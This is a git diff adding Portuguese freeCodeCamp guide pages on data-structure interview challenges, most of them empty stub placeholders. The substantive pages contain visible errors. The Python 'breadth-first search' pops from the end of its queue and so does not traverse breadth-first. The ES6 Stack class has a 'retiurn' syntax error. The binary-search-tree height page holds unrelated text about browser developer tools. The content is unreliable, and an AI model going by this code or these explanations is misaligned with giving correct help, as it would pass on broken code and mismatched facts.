+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/add-a-new-element-to-a-binary-search-tree/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/add-elements-at-a-specific-index-in-a-linked-list/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/add-elements-at-a-specific-index-in-a-linked-list/index.md
new file mode 100644
index 0000000000..98291cb6ff
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/add-elements-at-a-specific-index-in-a-linked-list/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Elements at a Specific Index in a Linked List
+localeTitle: Adicionar elementos em um índice específico em uma lista vinculada
+---
+## Adicionar elementos em um índice específico em uma lista vinculada
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/add-elements-at-a-specific-index-in-a-linked-list/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/adjacency-list/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/adjacency-list/index.md
new file mode 100644
index 0000000000..1cda0f35d3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/adjacency-list/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjacency List
+localeTitle: Lista de Adjacência
+---
+## Lista de Adjacência
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/adjacency-list/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/adjacency-matrix/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/adjacency-matrix/index.md
new file mode 100644
index 0000000000..7b8c8be329
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/adjacency-matrix/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjacency Matrix
+localeTitle: Matriz de adjacência
+---
+## Matriz de adjacência
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/adjacency-matrix/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/breadth-first-search/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/breadth-first-search/index.md
new file mode 100644
index 0000000000..59d2276c49
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/breadth-first-search/index.md
@@ -0,0 +1,51 @@
+---
+title: Breadth-First Search
+localeTitle: Primeira pesquisa
+---
+## Primeira pesquisa
+
+Primeiro, vamos definir a classe `Tree` a ser usada para a implementação do algoritmo Breadth First Search.
+
+```python
+class Tree: 
+  def __init__(self, x): 
+    self.val = x 
+    self.left = None 
+    self.right = None 
+```
+
+O algoritmo de pesquisa de amplitude primeiro se move de um nível para outro a partir da raiz da árvore. Nós vamos fazer uso de uma `queue` para isso.
+
+```python
+def bfs(root_node): 
+  queue = [root_node] 
+ 
+  while queue: 
+    top_element = queue.pop() 
+    print("Node processed: ",top_element) 
+ 
+    if top_element.left: 
+      queue.append(top_element.left) 
+ 
+    if top_element.right: 
+      queue.append(top_element.right) 
+```
+
+Podemos facilmente modificar o código acima para imprimir o nível de cada nó também.
+
+```python
+def bfs(root_node): 
+  queue = [(root_node, 0)] 
+ 
+  while queue: 
+    top_element, level = queue.pop() 
+    print("Node processed: {} at level {}".format(top_element, level)) 
+ 
+    if top_element.left: 
+      queue.append((top_element.left, level + 1)) 
+ 
+    if top_element.right: 
+      queue.append((top_element.right, level + 1)) 
+```
+
+| Complexidade | Tempo | Espaço | | ----- | ------ | ------ | | BFS | n | n |
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/check-if-an-element-is-present-in-a-binary-search-tree/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/check-if-an-element-is-present-in-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..d37da54020
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/check-if-an-element-is-present-in-a-binary-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Check if an Element is Present in a Binary Search Tree
+localeTitle: Verificar se um elemento está presente em uma árvore de pesquisa binária
+---
+## Verificar se um elemento está presente em uma árvore de pesquisa binária
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/check-if-an-element-is-present-in-a-binary-search-tree/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-circular-queue/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-circular-queue/index.md
new file mode 100644
index 0000000000..47087c0fdc
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-circular-queue/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Circular Queue
+localeTitle: Criar uma fila circular
+---
+## Criar uma fila circular
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-circular-queue/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-doubly-linked-list/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-doubly-linked-list/index.md
new file mode 100644
index 0000000000..85053f4d82
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-doubly-linked-list/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Doubly Linked List
+localeTitle: Criar uma lista duplamente vinculada
+---
+## Criar uma lista duplamente vinculada
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-doubly-linked-list/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-hash-table/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-hash-table/index.md
new file mode 100644
index 0000000000..55012f0adf
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-hash-table/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Hash Table
+localeTitle: Criar uma tabela de hash
+---
+## Criar uma tabela de hash
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-hash-table/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-linked-list-class/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-linked-list-class/index.md
new file mode 100644
index 0000000000..cfaa797b8f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-linked-list-class/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Linked List Class
+localeTitle: Criar uma classe de lista vinculada
+---
+## Criar uma classe de lista vinculada
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-linked-list-class/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-map-data-structure/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-map-data-structure/index.md
new file mode 100644
index 0000000000..b19e79bb63
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-map-data-structure/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Map Data Structure
+localeTitle: Criar uma estrutura de dados do mapa
+---
+## Criar uma estrutura de dados do mapa
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-map-data-structure/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-priority-queue-class/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-priority-queue-class/index.md
new file mode 100644
index 0000000000..d20cac0eea
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-priority-queue-class/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Priority Queue Class
+localeTitle: Criar uma classe de fila de prioridade
+---
+## Criar uma classe de fila de prioridade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-priority-queue-class/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-queue-class/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-queue-class/index.md
new file mode 100644
index 0000000000..c891590e0f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-queue-class/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Queue Class
+localeTitle: Crie uma classe de fila
+---
+## Crie uma classe de fila
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-queue-class/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-set-class/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-set-class/index.md
new file mode 100644
index 0000000000..5f8cffb01b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-set-class/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Set Class
+localeTitle: Criar uma classe de conjunto
+---
+## Criar uma classe de conjunto
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-set-class/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-stack-class/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-stack-class/index.md
new file mode 100644
index 0000000000..046f085136
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-stack-class/index.md
@@ -0,0 +1,81 @@
+---
+title: Create a Stack Class
+localeTitle: Crie uma classe de pilha
+---
+## Crie uma classe de pilha
+
+### Método:
+
+*   Stack é uma estrutura de dados abstrata.
+*   Pilha segue o princípio LIFO / FILO.
+
+## \- Neste desafio, precisamos adicionar os `.push()` , `.pop()` , `.peek()` , `.isEmpty()` e `.clear()` à classe.
+
+*   `push()` método `push()` envia valor para a pilha.
+*   `pop()` método `pop()` mostra o primeiro valor da pilha.
+*   `peek()` método `peek()` retorna o primeiro valor da pilha.
+*   `isEmpty()` método `isEmpty()` verifica se a pilha está vazia.
+
+## \- `.clear()` método `.clear()` remove todos os elementos da pilha.
+
+| DS | Acesso | Pesquisa | Inserir | Excluir | | ----- | ------ | ------ | ------ | ------ | | Pilha | n | n | 1 | 1 |
+
+### Solução:
+
+#### Básico:
+
+```js
+function Stack() { 
+    var collection = []; 
+    this.print = function() { 
+        console.log(collection); 
+    }; 
+    this.push = function(val){ 
+        return collection.push(val); 
+    } 
+    this.pop = function(){ 
+        return collection.pop(); 
+    } 
+    this.peek = function(){ 
+        return collection[collection.length-1]; 
+    } 
+    this.isEmpty = function(){ 
+        return collection.length === 0; 
+    } 
+    this.clear = function(){ 
+        collection.length = 0; 
+    } 
+ } 
+```
+
+#### Avançado - Sintaxe da classe ES6:
+
+```js
+class Stack { 
+    constructor() { 
+        this.collection = []; 
+    } 
+    print(){ 
+        console.log(this.collection); 
+    } 
+    push(val){ 
+        retiurn this.collection.push(val); 
+    } 
+    pop(){ 
+        return this.collection.pop(); 
+    } 
+    peek(){ 
+        return this.collection[this.collection.length-1]; 
+    } 
+    isEmpty(){ 
+        return this.collection.length === 0; 
+    } 
+    clear(){ 
+        return this.collection.length = 0; 
+    } 
+ } 
+```
+
+\### Recursos:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Stack_(abstract_data_type))
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-trie-search-tree/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-trie-search-tree/index.md
new file mode 100644
index 0000000000..a23f32a898
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-a-trie-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Trie Search Tree
+localeTitle: Criar uma árvore de pesquisa Trie
+---
+## Criar uma árvore de pesquisa Trie
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-trie-search-tree/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-an-es6-javascript-map/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-an-es6-javascript-map/index.md
new file mode 100644
index 0000000000..7c97cf0369
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-an-es6-javascript-map/index.md
@@ -0,0 +1,9 @@
+---
+title: Create an ES6 JavaScript Map
+localeTitle: Crie um mapa JavaScript ES6
+---
+## Crie um mapa JavaScript ES6
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-an-es6-javascript-map/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-and-add-to-sets-in-es6/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-and-add-to-sets-in-es6/index.md
new file mode 100644
index 0000000000..b4ccaf5ffb
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/create-and-add-to-sets-in-es6/index.md
@@ -0,0 +1,9 @@
+---
+title: Create and Add to Sets in ES6
+localeTitle: Criar e adicionar a conjuntos no ES6
+---
+## Criar e adicionar a conjuntos no ES6
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-and-add-to-sets-in-es6/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/delete-a-leaf-node-in-a-binary-search-tree/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/delete-a-leaf-node-in-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..3b59b7c05b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/delete-a-leaf-node-in-a-binary-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Delete a Leaf Node in a Binary Search Tree
+localeTitle: Excluir um nó de folha em uma árvore de pesquisa binária
+---
+## Excluir um nó de folha em uma árvore de pesquisa binária
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/delete-a-leaf-node-in-a-binary-search-tree/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/delete-a-node-with-one-child-in-a-binary-search-tree/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/delete-a-node-with-one-child-in-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..72e0380956
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/delete-a-node-with-one-child-in-a-binary-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Delete a Node with One Child in a Binary Search Tree
+localeTitle: Excluir um nó com um filho em uma árvore de pesquisa binária
+---
+## Excluir um nó com um filho em uma árvore de pesquisa binária
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/delete-a-node-with-one-child-in-a-binary-search-tree/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/delete-a-node-with-two-children-in-a-binary-search-tree/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/delete-a-node-with-two-children-in-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..092632de82
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/delete-a-node-with-two-children-in-a-binary-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Delete a Node with Two Children in a Binary Search Tree
+localeTitle: Excluir um nó com dois filhos em uma árvore de pesquisa binária
+---
+## Excluir um nó com dois filhos em uma árvore de pesquisa binária
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/delete-a-node-with-two-children-in-a-binary-search-tree/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/depth-first-search/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/depth-first-search/index.md
new file mode 100644
index 0000000000..6bfd836a31
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/depth-first-search/index.md
@@ -0,0 +1,9 @@
+---
+title: Depth-First Search
+localeTitle: Pesquisa de Profundidade-Primeiro
+---
+## Pesquisa de Profundidade-Primeiro
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/depth-first-search/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/find-the-minimum-and-maximum-height-of-a-binary-search-tree/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/find-the-minimum-and-maximum-height-of-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..468c8cc25d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/find-the-minimum-and-maximum-height-of-a-binary-search-tree/index.md
@@ -0,0 +1,60 @@
+---
+title: Find the Minimum and Maximum Height of a Binary Search Tree
+localeTitle: Encontre a altura mínima e máxima de uma árvore de pesquisa binária
+---
+## Encontre a altura mínima e máxima de uma árvore de pesquisa binária
+
+Todo navegador moderno inclui um poderoso conjunto de ferramentas para desenvolvedores. Essas ferramentas fazem várias coisas, desde inspecionar HTML, CSS e JavaScript atualmente carregados até mostrar quais recursos a página solicitou e quanto tempo demoraram para carregar. Algumas das principais características estão listadas abaixo:
+
+*   Acesso a um console do navegador
+*   Testar viewports responsivas e específicas do dispositivo
+*   Edite o DOM
+*   Depuração
+*   Analisar atividade de rede
+*   Entenda os problemas de segurança
+
+e muito mais…
+
+## Como abrir ferramentas de desenvolvimento
+
+### Teclado
+```
+Ctrl + Shift + I 
+```
+
+### Barra de menu
+
+#### Raposa de fogo
+```
+Tools ➤ Web Developer ➤ Toggle Tools 
+```
+
+#### Cromo / cromo
+```
+Tools ➤ Developer Tools 
+```
+
+#### Safári
+```
+Develop ➤ Show Web Inspector. 
+```
+
+Se você não puder ver o menu Desenvolver, vá para `Safari ➤ Preferences ➤ Advanced` e marque a caixa de seleção `Show Develop menu` na barra de menus.
+
+#### Ópera
+```
+Developer ➤ Web Inspector 
+```
+
+### Menu contextual
+
+`Right-click` um item em uma página da Web (pressione Ctrl e clique no Mac) e escolha `Inspect Element` no menu de contexto exibido.
+
+Este método imediatamente destaca o código do elemento em que você clicou com o botão direito do mouse.
+
+## Mais Informações:
+
+Documentos da Web da Mozilla Developer Network: [O que são ferramentas para desenvolvedores de navegadores?](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools)
+
+Google Developers: [Chrome Dev Tools](https://developers.google.com/web/tools/chrome-devtools/
+)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/find-the-minimum-and-maximum-value-in-a-binary-search-tree/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/find-the-minimum-and-maximum-value-in-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..4ba272774d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/find-the-minimum-and-maximum-value-in-a-binary-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Find the Minimum and Maximum Value in a Binary Search Tree
+localeTitle: Encontre o valor mínimo e máximo em uma árvore de pesquisa binária
+---
+## Encontre o valor mínimo e máximo em uma árvore de pesquisa binária
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/find-the-minimum-and-maximum-value-in-a-binary-search-tree/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/implement-heap-sort-with-a-min-heap/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/implement-heap-sort-with-a-min-heap/index.md
new file mode 100644
index 0000000000..53b9f20de3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/implement-heap-sort-with-a-min-heap/index.md
@@ -0,0 +1,9 @@
+---
+title: Implement Heap Sort with a Min Heap
+localeTitle: Implementar a ordenação de heap com uma pilha mínima
+---
+## Implementar a ordenação de heap com uma pilha mínima
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/implement-heap-sort-with-a-min-heap/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/incidence-matrix/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/incidence-matrix/index.md
new file mode 100644
index 0000000000..d5161fa5a8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/incidence-matrix/index.md
@@ -0,0 +1,9 @@
+---
+title: Incidence Matrix
+localeTitle: Matriz de Incidência
+---
+## Matriz de Incidência
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/incidence-matrix/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/index.md
new file mode 100644
index 0000000000..cbe7250088
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/index.md
@@ -0,0 +1,11 @@
+---
+title: Data Structures
+localeTitle: Estruturas de dados
+---
+## Estruturas de dados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/insert-an-element-into-a-max-heap/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/insert-an-element-into-a-max-heap/index.md
new file mode 100644
index 0000000000..8e1f5ab1c4
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/insert-an-element-into-a-max-heap/index.md
@@ -0,0 +1,9 @@
+---
+title: Insert an Element into a Max Heap
+localeTitle: Inserir um elemento em um heap máximo
+---
+## Inserir um elemento em um heap máximo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/insert-an-element-into-a-max-heap/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/invert-a-binary-tree/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/invert-a-binary-tree/index.md
new file mode 100644
index 0000000000..f32a074860
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/invert-a-binary-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Invert a Binary Tree
+localeTitle: Inverta uma árvore binária
+---
+## Inverta uma árvore binária
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/invert-a-binary-tree/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/learn-how-a-stack-works/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/learn-how-a-stack-works/index.md
new file mode 100644
index 0000000000..6232540749
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/learn-how-a-stack-works/index.md
@@ -0,0 +1,27 @@
+---
+title: Learn how a Stack Works
+localeTitle: Aprenda como funciona uma pilha
+---
+## Aprenda como funciona uma pilha
+
+### Método:
+
+*   As pilhas são estruturas de dados abstratas.
+*   Eles seguem o princípio LIFO (Last In First Out) ou FILO (First In Last Out).
+*   As operações de inserção e exclusão da pilha são de complexidade de tempo **O (1)** .
+*   Em JavaScript, as matrizes podem ser tratadas como uma pilha, pois os `.push()` e `.pop()` têm complexidade de tempo de **O (1)** .
+*   Neste desafio, precisamos `.pop()` e depois `.push()` na pilha.
+
+### Solução:
+
+```js
+var homeworkStack = ["BIO12","HIS80","MAT122","PSY44"]; 
+ 
+ homeworkStack.pop(); 
+ homeworkStack.push("CS50"); 
+```
+
+### Referência:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Stack_(abstract_data_type))
+*   Vídeo de [Hackerrank](https://www.youtube.com/watch?v=wjI1WNcIntg)
\ No newline at end of file
